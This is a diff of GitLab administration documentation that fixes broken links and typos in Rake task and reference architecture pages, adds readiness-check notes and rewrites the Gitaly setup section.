--- a/doc/administration/raketasks/doctor.md
+++ b/doc/administration/raketasks/doctor.md
@@ -33,7 +33,6 @@ bundle exec rake gitlab:doctor:secrets RAILS_ENV=production
**Example output**
-<!-- vale gitlab.SentenceSpacing = NO -->
```plaintext
I, [2020-06-11T17:17:54.951815 #27148] INFO -- : Checking encrypted values in the database
I, [2020-06-11T17:18:12.677708 #27148] INFO -- : - ApplicationSetting failures: 0
@@ -45,7 +44,6 @@ I, [2020-06-11T17:18:15.575533 #27148] INFO -- : - ScimOauthAccessToken failure
I, [2020-06-11T17:18:15.575678 #27148] INFO -- : Total: 1 row(s) affected
I, [2020-06-11T17:18:15.575711 #27148] INFO -- : Done!
```
-<!-- vale gitlab.SentenceSpacing = YES -->
### Verbose mode
diff --git a/doc/administration/raketasks/geo.md b/doc/administration/raketasks/geo.md
index 71e4f922348..885d19903ed 100644
--- a/doc/administration/raketasks/geo.md
+++ b/doc/administration/raketasks/geo.md
@@ -1,6 +1,6 @@
# Geo Rake Tasks **(PREMIUM ONLY)**
-The following Rake tasks are for [Geo installations](../geo/replication/index.md).
+The following Rake tasks are for [Geo installations](../geo/index.md).
## Git housekeeping
diff --git a/doc/administration/raketasks/ldap.md b/doc/administration/raketasks/ldap.md
index 30bb9828aa0..6d04a786d3a 100644
--- a/doc/administration/raketasks/ldap.md
+++ b/doc/administration/raketasks/ldap.md
@@ -32,13 +32,13 @@ rake gitlab:ldap:check[50]
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/14735) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.2.
-The following task will run a [group sync](../auth/ldap/index.md#group-sync-starter-only) immediately. This is valuable
+The following task will run a [group sync](../auth/ldap/index.md#group-sync) immediately. This is valuable
when you'd like to update all configured group memberships against LDAP without
waiting for the next scheduled group sync to be run.
NOTE: **Note:**
If you'd like to change the frequency at which a group sync is performed,
-[adjust the cron schedule](../auth/ldap/index.md#adjusting-ldap-group-sync-schedule-starter-only)
+[adjust the cron schedule](../auth/ldap/index.md#adjusting-ldap-group-sync-schedule)
instead.
**Omnibus Installation**
diff --git a/doc/administration/raketasks/storage.md b/doc/administration/raketasks/storage.md
index a97bff83290..896eafeb5f3 100644
--- a/doc/administration/raketasks/storage.md
+++ b/doc/administration/raketasks/storage.md
@@ -104,13 +104,13 @@ You can monitor the progress in the **Admin Area > Monitoring > Background Jobs*
There is a specific queue you can watch to see how long it will take to finish:
`hashed_storage:hashed_storage_project_migrate`.
-After it reaches zero, you can confirm every project has been migrated by running the commands below.
+After it reaches zero, you can confirm every project has been migrated by running the commands above.
If you find it necessary, you can run this migration script again to schedule missing projects.
Any error or warning will be logged in Sidekiq's log file.
NOTE: **Note:**
-If [Geo](../geo/replication/index.md) is enabled, each project that is successfully migrated
+If [Geo](../geo/index.md) is enabled, each project that is successfully migrated
generates an event to replicate the changes on any **secondary** nodes.
You only need the `gitlab:storage:migrate_to_hashed` Rake task to migrate your repositories, but we have additional
@@ -153,7 +153,7 @@ sudo gitlab-rake gitlab:storage:rollback_to_legacy ID_FROM=50 ID_TO=100
You can monitor the progress in the **Admin Area > Monitoring > Background Jobs** page.
On the **Queues** tab, you can watch the `hashed_storage:hashed_storage_project_rollback` queue to see how long the process will take to finish.
-After it reaches zero, you can confirm every project has been rolled back by running the commands bellow.
+After it reaches zero, you can confirm every project has been rolled back by running the commands above.
If some projects weren't rolled back, you can run this rollback script again to schedule further rollbacks.
Any error or warning will be logged in Sidekiq's log file.
diff --git a/doc/administration/raketasks/uploads/migrate.md b/doc/administration/raketasks/uploads/migrate.md
index 8c020e91a15..8d61beea597 100644
--- a/doc/administration/raketasks/uploads/migrate.md
+++ b/doc/administration/raketasks/uploads/migrate.md
@@ -1,10 +1,13 @@
# Uploads migrate Rake tasks **(CORE ONLY)**
-`gitlab:uploads:migrate` migrates uploads between different storage types.
+There is a Rake task for migrating uploads between different storage types.
+
+- Migrate all uploads with [`gitlab:uploads:migrate:all`](#all-in-one-rake-task) or
+- To only migrate specific upload types, use [`gitlab:uploads:migrate`](#individual-rake-tasks).
## Migrate to object storage
-After [configuring the object storage](../../uploads.md#using-object-storage-core-only) for GitLab's
+After [configuring the object storage](../../uploads.md#using-object-storage) for GitLab's
uploads, use this task to migrate existing uploads from the local storage to the remote storage.
Read more about using [object storage with GitLab](../../object_storage.md).
@@ -165,4 +168,4 @@ To migrate uploads from object storage to local storage:
```
After running the Rake task, you can disable object storage by undoing the changes described
-in the instructions to [configure object storage](../../uploads.md#using-object-storage-core-only).
+in the instructions to [configure object storage](../../uploads.md#using-object-storage).
diff --git a/doc/administration/redis/replication_and_failover_external.md b/doc/administration/redis/replication_and_failover_external.md
index d530e6a8fd7..ce452d30fc2 100644
--- a/doc/administration/redis/replication_and_failover_external.md
+++ b/doc/administration/redis/replication_and_failover_external.md
@@ -17,9 +17,8 @@ Omnibus GitLab package.
The following are the requirements for providing your own Redis instance:
-- Redis version 5.0 or higher is recommended, as this is what ships with
- Omnibus GitLab packages starting with GitLab 12.7.
-- GitLab 13.0 and later requires Redis version 4.0 or higher.
+- Find the minimum Redis version that is required in the
+ [requirements page](../../install/requirements.md).
- Standalone Redis or Redis high availability with Sentinel are supported. Redis
Cluster is not supported.
- Managed Redis from cloud providers such as AWS ElastiCache will work. If these
diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md
index fe2dad41066..5f8ab6683a9 100644
--- a/doc/administration/reference_architectures/10k_users.md
+++ b/doc/administration/reference_architectures/10k_users.md
@@ -167,6 +167,14 @@ added to GitLab to configure SSL certificates. See
[NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https)
for details on managing SSL certificates and configuring NGINX.
+### Readiness checks
+
+Ensure the external load balancer only routes to working services with built
+in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md)
+all require [additional configuration](../monitoring/ip_whitelist.md)
+on the nodes being checked, otherwise, the external load balancer will not be able to
+connect.
+
### Ports
The basic ports to be used are shown in the table below.
@@ -325,6 +333,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
+further configuration steps.
+
### Standalone PostgreSQL using Omnibus GitLab
The following IPs will be used as an example:
@@ -1435,7 +1446,7 @@ On each node:
gitlab_workhorse['enable'] = false
grafana['enable'] = false
- # If you run a seperate monitoring node you can disable these services
+ # If you run a separate monitoring node you can disable these services
alertmanager['enable'] = false
prometheus['enable'] = false
@@ -1990,15 +2001,15 @@ based on what features you intend to use:
1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage)
including [incremental logging](../job_logs.md#new-incremental-logging-architecture).
1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage).
-1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only).
+1. Configure [object storage for uploads](../uploads.md#using-object-storage).
1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage).
1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature).
1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature).
1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)**
-1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
-1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only).
+1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
+1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage).
Using separate buckets for each data type is the recommended approach for GitLab.
diff --git a/doc/administration/reference_architectures/1k_users.md b/doc/administration/reference_architectures/1k_users.md
index d3cf5f49413..d376c1b7575 100644
--- a/doc/administration/reference_architectures/1k_users.md
+++ b/doc/administration/reference_architectures/1k_users.md
@@ -12,7 +12,7 @@ full list of reference architectures, see
If you need to serve up to 1,000 users and you don't have strict availability
requirements, a single-node solution with
-[frequent backups](index.md#automated-backups-core-only) is appropriate for
+[frequent backups](index.md#automated-backups) is appropriate for
many organizations .
> - **Supported users (approximate):** 1,000
diff --git a/doc/administration/reference_architectures/25k_users.md b/doc/administration/reference_architectures/25k_users.md
index 1cfa2565893..2ef555bff29 100644
--- a/doc/administration/reference_architectures/25k_users.md
+++ b/doc/administration/reference_architectures/25k_users.md
@@ -167,6 +167,14 @@ added to GitLab to configure SSL certificates. See
[NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https)
for details on managing SSL certificates and configuring NGINX.
+### Readiness checks
+
+Ensure the external load balancer only routes to working services with built
+in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md)
+all require [additional configuration](../monitoring/ip_whitelist.md)
+on the nodes being checked, otherwise, the external load balancer will not be able to
+connect.
+
### Ports
The basic ports to be used are shown in the table below.
@@ -325,6 +333,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
+further configuration steps.
+
### Standalone PostgreSQL using Omnibus GitLab
The following IPs will be used as an example:
@@ -1435,7 +1446,7 @@ On each node:
gitlab_workhorse['enable'] = false
grafana['enable'] = false
- # If you run a seperate monitoring node you can disable these services
+ # If you run a separate monitoring node you can disable these services
alertmanager['enable'] = false
prometheus['enable'] = false
@@ -1990,15 +2001,15 @@ based on what features you intend to use:
1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage)
including [incremental logging](../job_logs.md#new-incremental-logging-architecture).
1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage).
-1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only).
+1. Configure [object storage for uploads](../uploads.md#using-object-storage).
1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage).
1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature).
1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature).
1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)**
-1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
-1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only).
+1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
+1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage).
Using separate buckets for each data type is the recommended approach for GitLab.
diff --git a/doc/administration/reference_architectures/2k_users.md b/doc/administration/reference_architectures/2k_users.md
index a7feb78a365..34b90964fbf 100644
--- a/doc/administration/reference_architectures/2k_users.md
+++ b/doc/administration/reference_architectures/2k_users.md
@@ -42,7 +42,7 @@ doesn't require you to provision and maintain a node.
To set up GitLab and its components to accommodate up to 2,000 users:
-1. [Configure the external load balancing node](#configure-the-load-balancer)
+1. [Configure the external load balancing node](#configure-the-external-load-balancer)
to handle the load balancing of the two GitLab application services nodes.
1. [Configure PostgreSQL](#configure-postgresql), the database for GitLab.
1. [Configure Redis](#configure-redis).
@@ -60,7 +60,7 @@ To set up GitLab and its components to accommodate up to 2,000 users:
storage. You can skip this step if you're not using GitLab Pages (which
requires NFS).
-## Configure the load balancer
+## Configure the external load balancer
NOTE: **Note:**
This architecture has been tested and validated with [HAProxy](https://www.haproxy.org/).
@@ -115,6 +115,14 @@ need to add a configuration to GitLab to configure SSL certificates. For
details about managing SSL certificates and configuring NGINX, see the
[NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https).
+### Readiness checks
+
+Ensure the external load balancer only routes to working services with built
+in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md)
+all require [additional configuration](../monitoring/ip_whitelist.md)
+on the nodes being checked, otherwise, the external load balancer will not be able to
+connect.
+
### Ports
The basic load balancer ports you should use are described in the following
@@ -193,6 +201,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
+further configuration steps.
+
### Standalone PostgreSQL using Omnibus GitLab
1. SSH into the PostgreSQL server.
@@ -345,50 +356,51 @@ are supported and can be added if needed.
## Configure Gitaly
-Deploying Gitaly in its own server can benefit GitLab installations that are
-larger than a single machine. Gitaly node requirements are dependent on data,
-specifically the number of projects and their sizes. It's recommended that each
-Gitaly node store no more than 5TB of data. Your 2K setup may require one or more
-nodes depending on your repository storage requirements.
-
-We strongly recommend that all Gitaly nodes should be set up with SSD disks with a throughput of at least
-8,000 IOPS for read operations and 2,000 IOPS for write, as Gitaly has heavy I/O.
-These IOPS values are recommended only as a starter as with time they may be
-adjusted higher or lower depending on the scale of your environment's workload.
-If you're running the environment on a Cloud provider
-you may need to refer to their documentation on how configure IOPS correctly.
-
-Some things to note:
-
-- The GitLab Rails application shards repositories into [repository storages](../repository_storage_paths.md).
-- A Gitaly server can host one or more storages.
-- A GitLab server can use one or more Gitaly servers.
-- Gitaly addresses must be specified in such a way that they resolve
- correctly for ALL Gitaly clients.
+[Gitaly](../gitaly/index.md) server node requirements are dependent on data,
+specifically the number of projects and those projects' sizes. It's recommended
+that a Gitaly server node stores no more than 5TB of data. Although this
+reference architecture includes a single Gitaly server node, you may require
+additional nodes depending on your repository storage requirements.
+
+Due to Gitaly having notable input and output requirements, we strongly
+recommend that all Gitaly nodes use solid-state drives (SSDs). These SSDs
+should have a throughput of at least 8,000
+input/output operations per second (IOPS) for read operations and 2,000 IOPS
+for write operations. These IOPS values are initial recommendations, and may be
+adjusted to greater or lesser values depending on the scale of your
+environment's workload. If you're running the environment on a Cloud provider,
+refer to their documentation about how to configure IOPS correctly.
+
+Be sure to note the following items:
+
+- The GitLab Rails application shards repositories into
+ [repository storage paths](../repository_storage_paths.md).
+- A Gitaly server can host one or more storage paths.
+- A GitLab server can use one or more Gitaly server nodes.
+- Gitaly addresses must be specified to be correctly resolvable for *all*
+ Gitaly clients.
- Gitaly servers must not be exposed to the public internet, as Gitaly's network
traffic is unencrypted by default. The use of a firewall is highly recommended
to restrict access to the Gitaly server. Another option is to
[use TLS](#gitaly-tls-support).
-TIP: **Tip:**
-For more information about Gitaly's history and network architecture see the
-[standalone Gitaly documentation](../gitaly/index.md).
-
-Note: **Note:** The token referred to throughout the Gitaly documentation is
-just an arbitrary password selected by the administrator. It is unrelated to
-tokens created for the GitLab API or other similar web API tokens.
+NOTE: **Note:**
+The token referred to throughout the Gitaly documentation is an arbitrary
+password selected by the administrator. This token is unrelated to tokens
+created for the GitLab API or other similar web API tokens.
-Below we describe how to configure one Gitaly server `gitaly1.internal` with
-secret token `gitalysecret`. We assume your GitLab installation has two
-repository storages: `default` and `storage1`.
+The following procedure describes how to configure a single Gitaly server named
+`gitaly1.internal` with the secret token `gitalysecret`. We assume your GitLab
+installation has two repository storages: `default` and `storage1`.
To configure the Gitaly server:
-1. [Download/Install](https://about.gitlab.com/install/) the Omnibus GitLab
- package you want using **steps 1 and 2** from the GitLab downloads page but
- **without** providing the `EXTERNAL_URL` value.
-1. Edit `/etc/gitlab/gitlab.rb` to configure storage paths, enable
- the network listener and configure the token:
+1. On the server node you want to use for Gitaly,
+ [download and install](https://about.gitlab.com/install/) your selected
+ Omnibus GitLab package using *steps 1 and 2* from the GitLab downloads page,
+ but *without* providing the `EXTERNAL_URL` value.
+1. Edit the Gitaly server node's `/etc/gitlab/gitlab.rb` file to configure
+ storage paths, enable the network listener, and to configure the token:
<!--
updates to following example must also be made at
@@ -402,7 +414,7 @@ To configure the Gitaly server:
# to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API.
# The following two values must be the same as their respective values
# of the GitLab Rails application setup
- gitaly['auth_token'] = 'gitlaysecret'
+ gitaly['auth_token'] = 'gitalysecret'
gitlab_shell['secret_token'] = 'shellsecret'
# Avoid running unnecessary services on the Gitaly server
@@ -415,7 +427,7 @@ To configure the Gitaly server:
gitlab_workhorse['enable'] = false
grafana['enable'] = false
- # If you run a seperate monitoring node you can disable these services
+ # If you run a separate monitoring node you can disable these services
alertmanager['enable'] = false
prometheus['enable'] = false
@@ -437,11 +449,7 @@ To configure the Gitaly server:
# Set the network addresses that the exporters used for monitoring will listen on
node_exporter['listen_address'] = '0.0.0.0:9100'
- ```
-
-1. Append the following to `/etc/gitlab/gitlab.rb` on `gitaly1.internal`:
- ```ruby
git_data_dirs({
'default' => {
'path' => '/var/opt/gitlab/git-data'
@@ -452,12 +460,7 @@ To configure the Gitaly server:
})
```
- <!--
- updates to following example must also be made at
- https://gitlab.com/gitlab-org/charts/gitlab/blob/master/doc/advanced/external-gitaly/external-omnibus-gitaly.md#configure-omnibus-gitlab
- -->
-
-1. Save the file and [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
+1. Save the file, and then [reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure).
1. Confirm that Gitaly can perform callbacks to the internal API:
```shell
@@ -573,7 +576,7 @@ On each node perform the following:
1. Create/edit `/etc/gitlab/gitlab.rb` and use the following configuration.
To maintain uniformity of links across nodes, the `external_url`
on the application server should point to the external URL that users will use
- to access GitLab. This would be the URL of the [load balancer](#configure-the-load-balancer)
+ to access GitLab. This would be the URL of the [load balancer](#configure-the-external-load-balancer)
which will route traffic to the GitLab application server:
```ruby
@@ -583,7 +586,7 @@ On each node perform the following:
# to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API.
# The following two values must be the same as their respective values
# of the Gitaly setup
- gitlab_rails['gitaly_token'] = 'gitalyecret'
+ gitlab_rails['gitaly_token'] = 'gitalysecret'
gitlab_shell['secret_token'] = 'shellsecret'
git_data_dirs({
@@ -818,15 +821,15 @@ on the features you intend to use:
1. [Object storage for job artifacts](../job_artifacts.md#using-object-storage)
including [incremental logging](../job_logs.md#new-incremental-logging-architecture).
1. [Object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage).
-1. [Object storage for uploads](../uploads.md#using-object-storage-core-only).
+1. [Object storage for uploads](../uploads.md#using-object-storage).
1. [Object storage for merge request diffs](../merge_request_diffs.md#using-object-storage).
1. [Object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature).
1. [Object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature).
1. [Object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. [Object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. [Object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)**
-1. [Object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional, for improved performance).
-1. [Object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only).
+1. [Object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional, for improved performance).
+1. [Object storage for Terraform state files](../terraform_state.md#using-object-storage).
Using separate buckets for each data type is the recommended approach for GitLab.
diff --git a/doc/administration/reference_architectures/3k_users.md b/doc/administration/reference_architectures/3k_users.md
index 2f88413de6f..be944586e43 100644
--- a/doc/administration/reference_architectures/3k_users.md
+++ b/doc/administration/reference_architectures/3k_users.md
@@ -162,6 +162,14 @@ added to GitLab to configure SSL certificates. See
[NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https)
for details on managing SSL certificates and configuring NGINX.
+### Readiness checks
+
+Ensure the external load balancer only routes to working services with built
+in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md)
+all require [additional configuration](../monitoring/ip_whitelist.md)
+on the nodes being checked, otherwise, the external load balancer will not be able to
+connect.
+
### Ports
The basic ports to be used are shown in the table below.
@@ -600,6 +608,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
+further configuration steps.
+
### Standalone PostgreSQL using Omnibus GitLab
The following IPs will be used as an example:
@@ -1128,7 +1139,7 @@ On each node:
# to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API.
# The following two values must be the same as their respective values
# of the GitLab Rails application setup
- gitaly['auth_token'] = 'gitlaysecret'
+ gitaly['auth_token'] = 'gitalysecret'
gitlab_shell['secret_token'] = 'shellsecret'
# Avoid running unnecessary services on the Gitaly server
@@ -1142,7 +1153,7 @@ On each node:
grafana['enable'] = false
gitlab_exporter['enable'] = false
- # If you run a seperate monitoring node you can disable these services
+ # If you run a separate monitoring node you can disable these services
alertmanager['enable'] = false
prometheus['enable'] = false
@@ -1471,7 +1482,7 @@ On each node perform the following:
# to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API.
# The following two values must be the same as their respective values
# of the Gitaly setup
- gitlab_rails['gitaly_token'] = 'gitalyecret'
+ gitlab_rails['gitaly_token'] = 'gitalysecret'
gitlab_shell['secret_token'] = 'shellsecret'
git_data_dirs({
@@ -1716,15 +1727,15 @@ based on what features you intend to use:
1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage)
including [incremental logging](../job_logs.md#new-incremental-logging-architecture).
1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage).
-1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only).
+1. Configure [object storage for uploads](../uploads.md#using-object-storage).
1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage).
1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature).
1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature).
1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)**
-1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
-1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only).
+1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
+1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage).
Using separate buckets for each data type is the recommended approach for GitLab.
diff --git a/doc/administration/reference_architectures/50k_users.md b/doc/administration/reference_architectures/50k_users.md
index 565845b4bf5..e812eed0227 100644
--- a/doc/administration/reference_architectures/50k_users.md
+++ b/doc/administration/reference_architectures/50k_users.md
@@ -167,6 +167,14 @@ added to GitLab to configure SSL certificates. See
[NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https)
for details on managing SSL certificates and configuring NGINX.
+### Readiness checks
+
+Ensure the external load balancer only routes to working services with built
+in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md)
+all require [additional configuration](../monitoring/ip_whitelist.md)
+on the nodes being checked, otherwise, the external load balancer will not be able to
+connect.
+
### Ports
The basic ports to be used are shown in the table below.
@@ -325,6 +333,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
+further configuration steps.
+
### Standalone PostgreSQL using Omnibus GitLab
The following IPs will be used as an example:
@@ -1435,7 +1446,7 @@ On each node:
gitlab_workhorse['enable'] = false
grafana['enable'] = false
- # If you run a seperate monitoring node you can disable these services
+ # If you run a separate monitoring node you can disable these services
alertmanager['enable'] = false
prometheus['enable'] = false
@@ -1990,15 +2001,15 @@ based on what features you intend to use:
1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage)
including [incremental logging](../job_logs.md#new-incremental-logging-architecture).
1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage).
-1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only).
+1. Configure [object storage for uploads](../uploads.md#using-object-storage).
1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage).
1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature).
1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature).
1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)**
-1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
-1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only).
+1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
+1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage).
Using separate buckets for each data type is the recommended approach for GitLab.
diff --git a/doc/administration/reference_architectures/5k_users.md b/doc/administration/reference_architectures/5k_users.md
index 14685ffa53d..6dfa588b092 100644
--- a/doc/administration/reference_architectures/5k_users.md
+++ b/doc/administration/reference_architectures/5k_users.md
@@ -162,6 +162,14 @@ added to GitLab to configure SSL certificates. See
[NGINX HTTPS documentation](https://docs.gitlab.com/omnibus/settings/nginx.html#enable-https)
for details on managing SSL certificates and configuring NGINX.
+### Readiness checks
+
+Ensure the external load balancer only routes to working services with built
+in monitoring endpoints. The [readiness checks](../../user/admin_area/monitoring/health_check.md)
+all require [additional configuration](../monitoring/ip_whitelist.md)
+on the nodes being checked, otherwise, the external load balancer will not be able to
+connect.
+
### Ports
The basic ports to be used are shown in the table below.
@@ -600,6 +608,9 @@ If you use a cloud-managed service, or provide your own PostgreSQL:
1. Configure the GitLab application servers with the appropriate details.
This step is covered in [Configuring the GitLab Rails application](#configure-gitlab-rails).
+See [Configure GitLab using an external PostgreSQL service](../postgresql/external.md) for
+further configuration steps.
+
### Standalone PostgreSQL using Omnibus GitLab
The following IPs will be used as an example:
@@ -1127,7 +1138,7 @@ On each node:
# to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API.
# The following two values must be the same as their respective values
# of the GitLab Rails application setup
- gitaly['auth_token'] = 'gitlaysecret'
+ gitaly['auth_token'] = 'gitalysecret'
gitlab_shell['secret_token'] = 'shellsecret'
# Avoid running unnecessary services on the Gitaly server
@@ -1141,7 +1152,7 @@ On each node:
grafana['enable'] = false
gitlab_exporter['enable'] = false
- # If you run a seperate monitoring node you can disable these services
+ # If you run a separate monitoring node you can disable these services
alertmanager['enable'] = false
prometheus['enable'] = false
@@ -1470,7 +1481,7 @@ On each node perform the following:
# to Gitaly, and a second for authentication callbacks from GitLab-Shell to the GitLab internal API.
# The following two values must be the same as their respective values
# of the Gitaly setup
- gitlab_rails['gitaly_token'] = 'gitalyecret'
+ gitlab_rails['gitaly_token'] = 'gitalysecret'
gitlab_shell['secret_token'] = 'shellsecret'
git_data_dirs({
@@ -1715,15 +1726,15 @@ based on what features you intend to use:
1. Configure [object storage for job artifacts](../job_artifacts.md#using-object-storage)
including [incremental logging](../job_logs.md#new-incremental-logging-architecture).
1. Configure [object storage for LFS objects](../lfs/index.md#storing-lfs-objects-in-remote-object-storage).
-1. Configure [object storage for uploads](../uploads.md#using-object-storage-core-only).
+1. Configure [object storage for uploads](../uploads.md#using-object-storage).
1. Configure [object storage for merge request diffs](../merge_request_diffs.md#using-object-storage).
1. Configure [object storage for Container Registry](../packages/container_registry.md#use-object-storage) (optional feature).
1. Configure [object storage for Mattermost](https://docs.mattermost.com/administration/config-settings.html#file-storage) (optional feature).
1. Configure [object storage for packages](../packages/index.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Dependency Proxy](../packages/dependency_proxy.md#using-object-storage) (optional feature). **(PREMIUM ONLY)**
1. Configure [object storage for Pseudonymizer](../pseudonymizer.md#configuration) (optional feature). **(ULTIMATE ONLY)**
-1. Configure [object storage for autoscale Runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
-1. Configure [object storage for Terraform state files](../terraform_state.md#using-object-storage-core-only).
+1. Configure [object storage for autoscale runner caching](https://docs.gitlab.com/runner/configuration/autoscale.html#distributed-runners-caching) (optional - for improved performance).
